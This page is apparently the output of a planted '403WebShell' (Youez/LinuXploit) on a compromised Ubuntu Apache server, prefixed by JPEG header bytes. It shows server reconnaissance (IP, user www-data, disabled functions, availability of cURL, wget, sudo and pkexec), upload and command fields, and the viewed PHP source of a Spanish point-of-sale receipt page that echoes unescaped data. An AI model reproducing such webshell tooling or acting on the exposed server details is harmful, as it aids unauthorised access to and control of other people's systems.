����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.238.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesFactura/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesFactura/nota_jual.php
<?php
$titlepage="ticket";
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
include "fpdf.php";
include "../../library/config.php";
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
include "../layout/top-header.php"; 
include "../../pos11/core/app/model/ConfigurationData.php";
include "../../pos11/core/app/model/SellData.php";

if(!isset($_POST['id_sales'])) 
{
	die("Lo sentimos, el navegador no se puede actualizar para la seguridad de los datos. Vuelva a imprimir a través del formulario de reimpresión!!");
}
$id_sales=$_POST['id_sales'];

$pos = new pos();
$sale = $pos->getSaleId($id_sales);

if($sale[0] == false)
{
	die('Error : '.$sale[1]);
}
$transaction_date = $sale[1]['sale_date'];
$customer = 'Customer';
$disc_rp =$sale[1]['disc_rp'];
$tax =0;
$note=$sale[1]['note'];
$nopage = 1;
$nopagelast = 0; 
$cashier = $sale[1]['username'];


$xshop = $pos->getrefsytemX();
$shop = $xshop[1]['name_shop'];
$address = $xshop[1]['address_shop'];
$phone = $xshop[1]['phone_shop'];


//buscamos de manera mas seggura la venta en sell
$sell = $pos->getlistSell($sale[1]['sale_id']);

$sell_id=$sell[1]['id'];
?>



<form class="form-horizontal" method="post" enctype="multipart/form-data" id="factura" action="#" role="form">
				<section class="content">
					
					<?php //id de la venta?>
					<input type="hidden" name="sell_id" value="<?php echo $sell_id; ?>">
					
					<?php //Menu derecho?>
					<div class="btn-group pull-right">
					  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket <span class="caret"></span>
					  </button>
					  <ul class="dropdown-menu" role="menu">
						<li><a href="http://localhost/pos36/pos11/report/onesell-word.php?id=<?php echo $id_sales;?>">Word 2007 (.docx)</a></li>
						<li><a href="http://localhost/pos36/pos11/report/factura_ticket-xlsx.php?sale_id=<?php echo $id_sales;?>&id=<?php echo $sell_id;?>">Generar Fatura</a></li>
					  </ul>
					</div>

					<?php //empieza la impresion del ticket?>
					<!DOCTYPE html>
					<html>
						<head>
							<meta charset="UTF-8">
							<title></title>
							<script type="text/javascript">
								function imprimir() {
									if (window.print) {
										window.print();
									} else {
										alert("La función de impresion no esta soportada por su navegador.");
									}
								}
							</script>
						</head>
						<body onload="imprimir()" >
						
						
							<?php 
							//si existe venta va a imprimir ticket
					if(isset($sell_id) && $sell_id!=""):?>

								<?php //
								//t_sale 
								$sale = SellData::getByIdSale($sale_id);
								$operations = OperationData::getAllProductsBySellId($sale_id);
								$total = 0;
								$settingsRFC = ConfigurationData::getByIdRFC();
								$settings2 = ConfigurationData::getById1();
								$settingsEmisor = ConfigurationData::getByIdEmisor();
								$settingsCalle = ConfigurationData::getByIdCalle();
								$settingsInt = ConfigurationData::getByIdInt();
								$settingsExt = ConfigurationData::getByIdExt();
								$settingsColonia = ConfigurationData::getByIdColonia();
								$settingsCity = ConfigurationData::getByIdCity();
								$settingsCP = ConfigurationData::getByIdCp();
								$logo = ConfigurationData::getByPreffix("report_image")->val;//
								 $ruta_logo = "../../pos11/storage/configuration/$logo";
								?>
								
								<?php //encabezado de ticket?>
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
										<table class="table table-bordered">
												<tr>
													<td align="center"><img src="<?php echo $ruta_logo;?>" width="120" height="120"></td>
												</tr>
												<tr>
													<td colspan="2" align="center"><?php echo $settings2->val;?></td>
												</tr> 
												<tr>
													<td colspan="2" align="center"><?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?>
													</td>
												</tr> 

										</table>
								</div>  
							</div>
						</div>
						<?php foreach($sell as $sell2){ ?> 
						<?php } ?> 
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
										<table class="table table-bordered">
											<?php 
											$time = time();
											if($sell2->person_id!=""){
												$client = $sell2->getPerson();
												}
											if($client->name != "MOSTRADOR"){	
											?>
											<tr>
												<th  align="right">Cliente(RFC):</th>
												<td colspan="4" ><input align="center" class="form-control" name="rfc" value="<?php echo $client->rfc;?>" placeholder="Ingrese RFC para Factura Rapida"></input></td>
												<td colspan="1" align="center"><?php echo $client->id_cust;?></td>
											</tr>
											<?php 
											}
											?>
											
											
											<tr>
											  <td><b> Fecha Captura: </b></td>
											  <td colspan="2" align="left" id="created_at"><?php echo $sell2->created_at ; ?></td>
											  <td colspan="2" align="right" id="cajero">Cajero: </td>
												<td colspan="2" align="center" id="cajero"><?php echo $sale->id_user ; ?> </td>
											</tr>
											<tr>
											  <td><b> Fecha Venta: </b></td>
											  <td colspan="2" align="left" id="date_sale"><?php echo $sale->sale_date ; ?></td>
											  
											   <td colspan="2" align="right" id="ticket">Ticket: </td>
												<td colspan="2" align="left" id="ticket"><b><?php echo $sell2->id ; ?></b> </td>
											</tr>
										</table>
									</div>  
								</div>
							</div>
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
										<tr>
											<td style="width:10px;">Cant</td>
											<th>Descripcion</th>
										</tr>
										<tr>
											<?php
											  /**/
												$prod = array();
											  //$_SESSION['arreglo'] = array();
											  foreach($operations as $operation){
												$product  = $operation->getProduct();
												$prod[] = array(
													"cantidad" => $operation->qty,
													"name" => $product->item_name,
													"unidad" => "NA",
													"id" => $product->id_item,
													"valorunitario" => $product->price,
													"importe" => $product->price * $operation->qty,
													"claveunidad" => $product->unit,
												);
											?>
											<td><b><?php echo $operation->qty ; ?></b></td>
											<td colspan="2" align="left"><?php echo $product->item_name ;?></td>
											<td align="left">$ <?php echo number_format($operation->price,2,".",",");$total+=$operation->qty*$operation->price;?></td>
										</tr>
										<?php
										  }
										  $_SESSION['prod'] = $prod;
										  
										  ?>
									</table>
								</div>
							</div>
						</div>	
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
									<tr>
										<td>Subtotal total :</td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($total,2,'.',','); ?></b></u></td>
									</tr>
									
									
									<?php 
										//FORMAS DE PAGO
										$MontoPago2 = abs($sell2->total-$sell2->cash);
										//obtenermos los valores de forma 1 y forma 2
										$t_sale = SellData::getBySale($sell2->sale_id);
										  $NameP1 = FData::getById($t_sale->f_pago1);
										  $NameP2 = FData::getById($t_sale->f_pago2);
										if($sell2->cash < $sell2->total):
									?>
										
										<tr>
											<td colspan="2">forma de pago 1(<?php echo $NameP1->name;?>):</td>
											
											<td align="right">$ <?php echo number_format($sell2->cash,2,'.',','); ?></td>	
										</tr>

										<tr>
											<td colspan="2">forma de pago 2(<?php echo $NameP2->name;?>):</td>
											
											<td align="right">$ <?php echo number_format($MontoPago2,2,'.',','); ?></td>	
										</tr>
									<?php else:?>		
										<tr>
											<td colspan="2">Importe Recibido(<?php echo $NameP1->name;?>):</td>
											<td align="right">$ <?php echo number_format($sell2->cash,2,'.',','); ?></td>	
										</tr>
										
											<?php 
											$cambio=$sell2->cash-$sell2->total;
											?>
											<?php if($sell2->p_id != 4): ?>
												<tr>
												<td colspan="2">Cambio: </td>
												<td align="right">$ <?php echo number_format($cambio,2,'.',','); ?></td>
												</tr>
											<?php endif; ?>
									<?php endif;?>
									  
									
									
									
									<?php if($sell2->p_id != 4): ?>
									<tr>
										<td>Descuento(%):</td>
										<td></td>
										<td align="right"> <?php echo number_format($sell2->discount,2,'.',','); ?>  %</td>
									</tr>
									<?php endif; ?>
									
									<tr>
										<td>Gran total :</td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($sell2->total,2,'.',','); ?></b></u></td>
									</tr>
									
									
									
									</table>
								</div>
							</div>
						</div>

						
					<?php endif;?>	
					</body>
					</html>
				</section>
			</form>



<?php include "../layout/bottom-footer.php"; //footer template ?> 
<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>
<script src="../../dist/js/redirect.js"></script>
<script src="j_pos.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit